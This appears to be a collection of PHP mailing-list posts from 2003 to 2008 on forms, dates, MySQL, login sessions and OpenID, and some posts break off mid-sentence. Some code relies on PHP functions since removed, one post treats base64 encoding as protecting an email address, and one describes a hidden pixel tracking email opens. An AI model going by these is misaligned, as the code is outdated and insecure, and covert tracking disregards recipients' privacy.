RE: [PHP] New to PHP
Hi Hiren, PHP is a great choice, there are a wealth of tutorials on the Internet!!! I would recommend a great book for people like yourself... PHP Fast and Easy by Julie Meloni... You can visit her website at http://www.thickbook.com I have both of her PHP books, and out of the 8 books on PHP hers are the ones I still use the most...

RE: [PHP] XML
Okay Petre... You have asked the question that I always wanted to ask!!! I can't wait to see peoples answer... I simply can't find a use for it either Joe -Original Message- From: Petre Agenbag [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 08, 2003 6:27 AM To: [EMAIL PROTECTED] Subject: [PHP] XML Hi List Firstly, this question is arguable more about XML than PHP, but they are interlinked, so I hope it is "topical" for this list. Firstly, Where I come from: I am VERY comfortable with PHP/MySQL on Linux and understand all those concepts. Now I'm trying to see the benefits of XML, and quite frankly, I just cannot see why one would want to use it... Anyway, I don't want to start a discussion on that from. I have done extensive reading on XML/XSL(XSLT : XHTML), DTD and XML parsing on browser and server side. I arguable still don't have a 100% understanding of exactly how things fit together, but the little bit I think I got so far is: I would use an XML doc to package my data in a structure. This XML file is "useless" on it's own, and good for transporting data to another app or client. Should I need to do something with the data, I would look at XSL and in particular XSLT in order to convert the XML into XHTML so a browser can display the data ( so we can safely assume that I am only interested in the web applications of XML) This is where I'm starting to get a headache, because now it seems that there are browser issues wrt XSL, and one also have the added choice of parsing the XML with the browser or on server level. For me, parsing it on browser level must be a no-no, as I would assume that it's would take alot of effort to find out what type of browser the client has, then load the appropriate XSL file for that browser. So, I'm here, with the server side XML parsing in mind. Now on M$ systems, it seems that IIS has built in ActiveX XMLDOM parsing built in, and you can "easily" parse the XML document by using ASP etc. So can I assume that this is also true with PHP/Apache, ie, Apache has a built in XML parser and I can use PHP fnuctions to parse my XML file on the server side and thus "pump" out XHTML that is compatible with all past and future browsers? Also, what is the procedure that most of you (members of the PHP lists) follow when dealing with XML. ie, do you go for the client side parsing or do you do server side parsing. And how do you decide when to use XML and when to stick to trusty old PHP/MySQL? ( Sorry, know this is probably the dumbest question I can ask, but I really battle to see when to use it, or rather WHY I should use it seeing that the data is arguably "static" in nature ( I would either get the XML file from somewhere else, or I would generate it from some source and pass it on, effectively creating a little data island/snapshot of the actual data at a point in time?)

RE: [PHP] date frustrations
There is probably a better way than this... But I always use EPOCH when
I need to put something in order... You can then just write a function
to interperate the date when it need to be readable Hope that makes
sense

Subject: [PHP] date frustrations
Ok so on a web application I needed to list the files in a directory,
ordered by last modified date.
I was pulling them out in an array, fetching the filemtime() for each
file, and trying to order them by that date. I was using asort() to sort
the files in an array so they'd list chronologically.
Well that wasn't working as planned. Files were getting out of order. I
figured asort() could have been having trouble ordering dates
numerically, so I tried strtotime() on the dates first, and ordered the
files by unix timestamp.
That didn't work either. I did a date() on the unix timestamp fetched by
strtotime() and found that the dates were coming out inaccurately. 2003
was being changed to 2013, etc.
Well I gradually figured out that the date format output by filemtime()
was not an acceptable natural language date format. filemtime() was
fetching dates with a dash - ex. 07-08-2003. strtotime() was making
incorrect timestamps because it doesn't read dates with dashes formatted
that way. Apparently asort() reads dates the same way strtotime does.
I think this is kind of perverse... in order to fix it I had to do an
ereg_replace("-","/",$date) in order to change the filemtime() date
format to one properly readable by strtotime and asort.
*sigh*
Am I the only one who has noticed this? Is this something that can be
corrected in PHP? (Perhaps the dates fetched by filemtime() etc can be
changes to be formatted in a way that is acceptable to other date()
functions??)

For every day of the school year one record will be entered into a table for each student representing their attendance status (present, absent, late, etc...). I also have several other supporting tables for relationships. When it comes to reporting and querying this DB I am worried that it will very quickly become very large and slow. Can mysql handle this? Are there any techniques to speed it up? I will trying indexing major columns. I have also considered keeping all previous days attendance in a separate table from the current days attendance and moving things over in the middle of the night. This way any operations on the current days data will go quickly, but reports on long term things will still be slow. Good idea?

Now there are 2 things I want to do here... take a map of the US... PNG.. GIF... what ever... and associate the Lat/Long with coordinates on the image... like a image map in HTML (sort of) - the first thing I want to do is draw a line from point A to point B (on the map)... the second is draw a circle for a search radius... hmmm... it would also be cool if the image could be zoomed in on like... scaled down to 100 mile x 100 miles... and then show the 75 mile radius circle okay, that's enough for now... hope someone can point me in the right direction Joe Harman http://www.HarmanMedia.com Health nuts are going to feel stupid someday, lying in hospitals dying of nothing. - Redd Foxx

[PHP] dump $_POST into variables????
Okay, curious if there is an easier way to do this... here is what I do can't I just dump these into an array and and assign it to a variable... maybe that doesn't make sense... basically I just want to have one command that retrives all the "POST" variables... then list my variables ie $ZipCode, $Distance, $Blah - have them dump in to each!!! thanks Joe Harman http://www.HarmanMedia.com You will never be happy if you continue to search for what happiness consists of.

Okay... this probably isn't that hard to do... but I am just not sure to do it... so i will ask you guys... i amsure someone is going to have a one liner for me here! I am making a survey/poll builder everything is dynamic... there is an admin section where the user can make the new survey.. and set certain surveys as active but this where I am coming into some difficulties the program builds the form dynamically... all radio buttons... when the user submits the form i need to disect each form answer and then dump it into MySQL... So I need to know if I can do something like use the 'explode()' function no this... and assign them to variables...

Actually... That didn't work... The QuestionID and AnswerID are different from poll to poll Can I do something like a loop and pass the QuestionID and AnswerID into other variables... Ex. Here is my HTML that is dynamically created * Untitled Document The Cool Joe Survey What color are you eyes? Blue Green What Letter does your name start with a b c What Day is it Thurs Fri Tues Can I do something like this on the nest page * 1 Start the do statement til radio button name equals null 2 extract (from $_POST) the radio button name and plug it into $RadioName 3 extract (from $_POST) the radio button value and plug it into $RadioValue 4 insert it into a MySQL table 5 while statement sends you back to 1 * not exactly sure how I am going to do the while part LOL Thanks, Joe -Original Message- From: Shaunak Kashyap [mailto:[EMAIL PROTECTED] Sent: Friday, July 25, 2003 1:14 AM To: Joe Harman Subject: Re: help with explode. > The name of the set of radio buttons is the QuestionID (so it's a > number)...

How about using an array instead of just the QuestionID as shown below: ... That way, on the next page (the one to which this form is being submitted) you can get the AnswerIDs by simply looping through the $_POST["Question"] array (assuming your form submission method is post).

I really don know whether i got ur question or not. Probably ur
questions is abt fetching the radio buttons id and their corresponding
values, when a form is submitted . Well if u have large number of radio
buttons then give some common name to all of them. like radbut1,
radbut2, radbut3 and so on
so u know anything starting from "radbut" is your radio button ..
now use $HTTP_POST_VARS or GET_VARS depending upon ur form method to
retrieve the variables/values pairs. i.e
while(list($key,$value) = each($HTTP_POST_VARS))
{
if (eregi("radbut",$key)) // radio button
// Carry out operations u want
}

But it's not the hole it came in through, and it's not the real backdoor. It's so blatent, I'd guess it's a script kiddy or a decoy. Even if it's a script kiddy, you _want_ to know how it got on the box. I'd take the box offline, back up all the data and configuration files, and re-install the whole system and all programs from scratch. Go over every configuration file with a fine-tooth comb. If the machine is on a subnet and I controlled the subnet, I think I'd take the whole subnet down, including the firewall, and clean every machine up, not putting any machine back on the subnet until it was clean and any holes patched. If I didn't control the subnet, I'd make sure the persons who did know there had been a break-in. And if you have any valuable data, consider it to have been stolen.

A better > approach, in my opinion, is to think of ways to allow your > users to interact with a P2P network while using your Web > application. There is a command-line client for Overnet (http://www.overnet.com/), for example, and PHP can interact with this to perform whatever tasks you want to expose to your Web users. Most every P2P protocol I am familiar with does not fit well within the Web paradigm (HTTP transactions, etc.). So, you have to be creative and make your Web application provide the layer that interprets your users' desires, executes the appropriate tasks using a P2P client, and displays the results in a way that can fit into the Web paradigm (downloads will probably take longer than you want to wait before responding to users, for example). That's my perspective anyway (and I've been faced with this same task). Hope it helps.

[PHP] Installer Software
Hello, I am making an application in PHP, but I want it to run on a user's local computer... but I need to find someway to bundle this so that when it is distributed, the installer installs PHP for windows... then copys the PHP files to the correct directory, then puts a short cut on the desktop... can anyone recommend anything out there.. preferably that is free Respectfully, Joe Harman

Hi Martin... I am guessing you have a nested function that is being

[PHP] PHP - XHTML converter to HDML or WML
Hey maybe you guys can help me out here. I would like to start developing for WAP enabled devices. since there are a lot of people out there who still have phones that use different version of WML and still some that use HDML. and then the new phones being able to display XHTML. I would like to either find a parser or make one that will convert a XHTML file to be compatable with the older mark-up languages. does anyone have experience with this? Give you an example.. I have a Sanyo SCP-4700 on the Sprint PCS network. only HDML 3.0 and WML 1.1 is compatable.. So I run into a lot of different errors. So the first step would be to figure out how to determine a cell phone user's browser. So what's it capable of WML 1.1 or WML 2.0, HDML.. Or XHTML Appreciate the feedback, Joe Harman http://www.HarmanMedia.com Have you ever noticed? Anybody going slower than you is an idiot, and anyone going faster than you is a maniac. - George Carlen

[PHP] [Thoughts About This] [Newbie Guide] For the benefit of new members
Great guide here Ma Siva Kumar... I am a little guilty of not doing this, actually recently too... As I think most of us are at one point or another... Although I would like to add alittle something, maybe just alittle guidance for newbies and seasoned professionals like yourself! 1. Helping those newbies out there helps promote PHP & Opensource stuff... This is HUGE... Even if we have to hold someones hand through the first steps. 2. Most of understand the descriptions and explinations on the PHP.nt site... But sometimes they are alittle vague (seldom though)... And most people see them as very very technical... And they need some people to translate for them... 3. Tutorials are a great way to learn PHP... There is so much out there. I am by no means an advance PHP programmer... But more of an intermediate one... Often I do go through tutorials, but still am left a little puzzled... So I ask people on these mailinglist for clarification... I found that people here have a wealth of knowledge to make people like me(RIGHT BRAINERS) understand... Heck if it wasn't for some of these guys here, I would still be trying to understand arrays Bravo Ma Siva Kumar... Good guide... Cheers!

[PHP] Echo HTML code Verses breaking out of
Hello, I would like some opinions, or hopefully facts on a few things... Maybe some people can help me out here. A friend of mine and I were discussing which is best way to use PHP building dynamic pages, here are the 2 methods we are comparing.. They are in the simplest terms here... But try to imagine a very intesive PHP appliaction with huge MySQL queries... First Item - Second Item - "; echo ""; echo "Hello World"; echo ""; echo ""; ?> Now I would say that the first item is the most efficient simply because you are not making PHP process the ECHO of HTML code... It's more efficient to let the browser do that since it has to interperat it anyhow. Am I correct assuming this? Thanks!

[PHP] Question about array limits & practicallity
I am curious how much data an array can hold.. And what the pros and cons are. Example.. I am making a testing system that will give a student a 102 question test... The test would be generated so that each one is different... So would it be practical to load all 102 questions and their options into an array and store that array into a session? Also can I store those arrays as a blob in MySQL? Thanks, Joe -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Question about array limits & practicallity
Thanks for your comments Chris and Rob... Chris you have great points to make, my ears are wide open... The reason I thought about storing the array in a blob is because every test generated will be different. the 102 question test will be generate randomly from a bank of 500 questions.. That means that the order of questions will also be different... So I would like to find a way to store that unique test for the student or administrator to review.. I do understand PHP & MySQL very well... But I am no master, that's why I was asking... Any other ideas or recommendations for this... Words of wisdom are also welcome :o) So thanks for your input, Joe -Original Message- From: Chris W [mailto:[EMAIL PROTECTED] Sent: Wednesday, January 21, 2004 11:54 PM To: Robert Cummings; PHP-General Subject: Re: [PHP] Question about array limits & practicallity Robert Cummings wrote: >>Also can I store those arrays as a blob in MySQL? >> >> > >You could, but you'd be better off storing them in normalized tables >IMHO. > > In this cans I will have to strongly agree with Rob, but I also have to add a few comments. Why on earth would you store an array as a blob in a database!? That's like spending $10,000 on a new storage system to organize all the junk in your garage, and then ripping out all the bins and shelves and cabinet door and just dumping all your junk in there. You might as well just put it in some file on the hard drive. If your using a database and you don't know what normalization is or you don't know how to tell if a database is normalized, STOP and drop everything till you learn the basics or normalization. I don't mean become an expert or anything, you don't need to be able describe the intricacy of Boyc-Codd normal form from memory, just learn enough to have a good grasp on everything up to 3rd normal form, which isn't all that hard.

Okay, Thanks... appears the problem is that I have foreign language
entities in my HTML... Ugh
I am sure this is not really the most efficient way to do this, but I
tried using the following to get rid of these, but it appears that it
just converts them to this i¿½...
$search =
explode(",","ç,æ,œ,á,é,í,ó,ú,à,è,ì,ò,ù,ä,ë,ï,ö,ü,ÿ,â,ê,î,ô,û,å,e,i,ø,u");
$replace =
explode(",","c,ae,oe,a,e,i,o,u,a,e,i,o,u,a,e,i,o,u,y,a,e,i,o,u,a,e,i,o,u");
$decode_string = str_replace($search, $replace,
html_entity_decode($row_rsFeed['full_desc']))
I am going to read up some more on sanitizing HTML

Re: [PHP] Inline Frame and php
Hey Todd... I really think what you are going to have to do is pass a javascript variable to the parent page.. cause you are trying to send a variable from the php search page to the parent that has the iframe in it... I am correct in assuming that?

Re: [PHP] html image
check out http://www.whois.sc
they do exactley what you are talking about. i don't think you can
make PHP do this.. there maybe someway to do it with imagemagik
but i am not even sure about that also...
here is a free ware program that does it.. but you have to do it manually
http://www.snapfiles.com/get/web2pic.html
good luck! let us know what you find!

Re: [PHP] Php defense
My 2 Cents > ASP is a Platform that supports a number of different microsoft languages which includes ASP Javascript, ASP VBScript, ASP.Net C# & ASP.Net VB ... ASP has a couple of good points to it... most notably is that it is backed by the largest computer company out there.. Microsoft... also, from my experience as a college level instructor, they teach microsoft programming languages at the colleges... there is nothing spectacular about the programming languages that ASP supports that cannot be done with PHP... and I should say that that is my opinion...

[PHP] base64_encode in URLs
Hey just curious if it's okay to encode variables that are passed in URLs with base64_encode??? since, I am going to pass a email address in the URL, I would like to protect the email address from typical people -- Joe Harman - Do not go where the path may lead, go instead where there is no path and leave a trail. - Ralph Waldo Emerson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] base64_encode in URLs
HA... Thanks for your thoughts... I am actually using this for a broadcast email system... I just use a PHP image generator to make a 1 x1 gif... the image generator script takes a variable for color then I added another one for email address to keep stats on who has opened the message ex. image_script.php?color=00&[EMAIL PROTECTED] but I am using base64_encode to encode the email address and call the variable something besides email... I suppose i didn't have to do this, but thought it would be a good practice to do it... the end result looks something like this : image_script.php?color=00&key=jtzOjM6IkpvZSI7czo5OiJsYXN0X2 also this is embedded in the body of an HTML email... so, i think it's pretty safe any how the script just updates the stats and returns a 1x1 gif...

Re: [PHP] mysql_connect slowness
Hi Waynn! have you ever tried using 1. sql_cache SELECT SQL_CACHE * FROM table .. I use this alot... although you have to have mysql cache enable in the sql config file... your webhost can tell you if it is on or not 2. make indexes for your tables here is a good article http://www.databasejournal.com/features/mysql/article.php/1382791 a great admin program to use is Navicat... it's very easy to make your indexes there... Hopefully those 2 suggestions speed up things a little! :o) let us know if it works Joe On Mon, Apr 28, 2008 at 12:14 AM, Waynn Lue <[EMAIL PROTECTED]> wrote: > Our site has been slowing down dramatically in the last few days, so > I've been trying to figure out why.

[PHP] PHP Web Apps & OpenID
Hey Ya'll! I am curious here if any of you are considering or already using OpenID or Windows CardSpace? Does anyone see this being a big deal??? from a users stand point it seems like a big hassle to get started with it and I'm not sure if it would scare people away or not? any thoughts I've been looking at some PHP scripts out there for OpenID... does anyone have one to recommend??? -- Joe Harman -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP Web Apps & OpenID
Yeah, after reading some about it yesterday and using it on some sites, I like that it sort of simplifies some things for the end user... it really fits sites like social networking stuff well.. I am considering using this for our ecommerce site, it only becomes useful though for repeat visitors though... which is what I want to make it easy& convienent for those repeat customers thanks for your input guys Joe On Wed, May 7, 2008 at 4:04 AM, Colin Guthrie <[EMAIL PROTECTED]> wrote: > > Joe Harman wrote: > > > I am curious here if any of you are considering or already using > > OpenID or Windows CardSpace?

Hey Rahul... I have seen this also... It's sort of neat and annoying all at the same time... I am just wondering if it's just a false sense of security to get more people to use there online banking... although I did read through their FAQs about this and they are saying they have been required by the FFIEC (Federal Financial Institutions Examination Council) to increase security... although computer registration remains optional... i would guess this is probably just a cookie... i am not sure about this, but will firefow run activex stuff??? if it won't I think you could eliminate the activex possiblity i do know that this site uses JSP as it's scripting language.

can't imagine the performance difference would be that big... but then

Subject: [PHP] On large application organization [long and possibly boring]
To: PHP Mailing Lists
Good afternoon gurus and gurettes,
If I have a large app what is the difference, other than having a very
large file, of doing this
switch($action){
/* several dozen cases to follow */
case "foo":
writing out all of the code
break;
}
and this
switch($action){
/* several dozen cases to follow */
case "foo":
include that will handle processing this case
break;
}
Correct me if I am wrong, but includes (and/or requires) will get all of
the code in all of the cases regardless if the case is being processed.
That being the case the code would essentially be the same length. Given
that, would there be an efficieny issue?
This would (the second way) also make the project easier to work on by
multiple programmers at the same time, similar to modular work being
done by programmers on C++ projects.
One of the reasons for doing this is so that global includes and certain
class definitions, such as an error checking function relavent to most
cases, can be included once.

[PHP] Re: [PHP-DB] checkboxes
Well.. i just got done doing something like what you are trying to
accomplish... you will need to name your check boxes like so :
name="completed[]"
when the form is submitted, I use something like this and shove it
into a field in the database:
if($_POST['completed'] <> NULL)
{
// This makes one string of all the check boxes
$completed_separated = implode(":", $_POST['completed']);
}
else
{
$comma_separated = NULL;
}
anyhow... use explode to get thte values out... not sure how you are
using this... but i made each check box equal to a value when checked
i.e. 23, 34
so, not sure if this is the right way to do it, but i find it to be a
pretty simple solution for my uses.
cheers

Re: [PHP] Re: [NEWBIE GUIDE] For the benefit of new members
Great List... although.. .just having a sense humor here... i think every topic has been covered a number of times... which means no one should be posting questions at the php list... cause they are all in the archive :0) cheers!

Re: [PHP] Log-in script help
Hey Andrew...
IN MY OPINION... forget the cookies... only use php sessions... but
like I said IMO you can never rely on the end user having them
cookies enabled... same with things like javascript...
let me outline some steps for you... everyone else... feel free to
state pros and cons to theses.. cause i always make mistakes, or
forget things :o)
1. get the user's access info... ie username & password
2. look for the user in the database that stores the access infro
3. if access is granted, I usually set 2 session variables
a. $_SESSION['auth'] = TRUE // They are authorized
b. $_SESSION['user_id'] = {who} // Who is it
a. $_SESSION['user_level'] = {level} // What level access do
they have (optional)
4. at the beginning of each restricted access page, verify that they
are authorized to access that page... if they are not redirect them to
a access denied page.
that should get you started... maybe the second step would be to make
this stuff into functions... ... also, IMO.. it's a good idea to make
a logout script that will distroy that user's active session... not
sure what your PHP experience is... but hopefully the above steps will
help you out some..
Cheers!
Joe
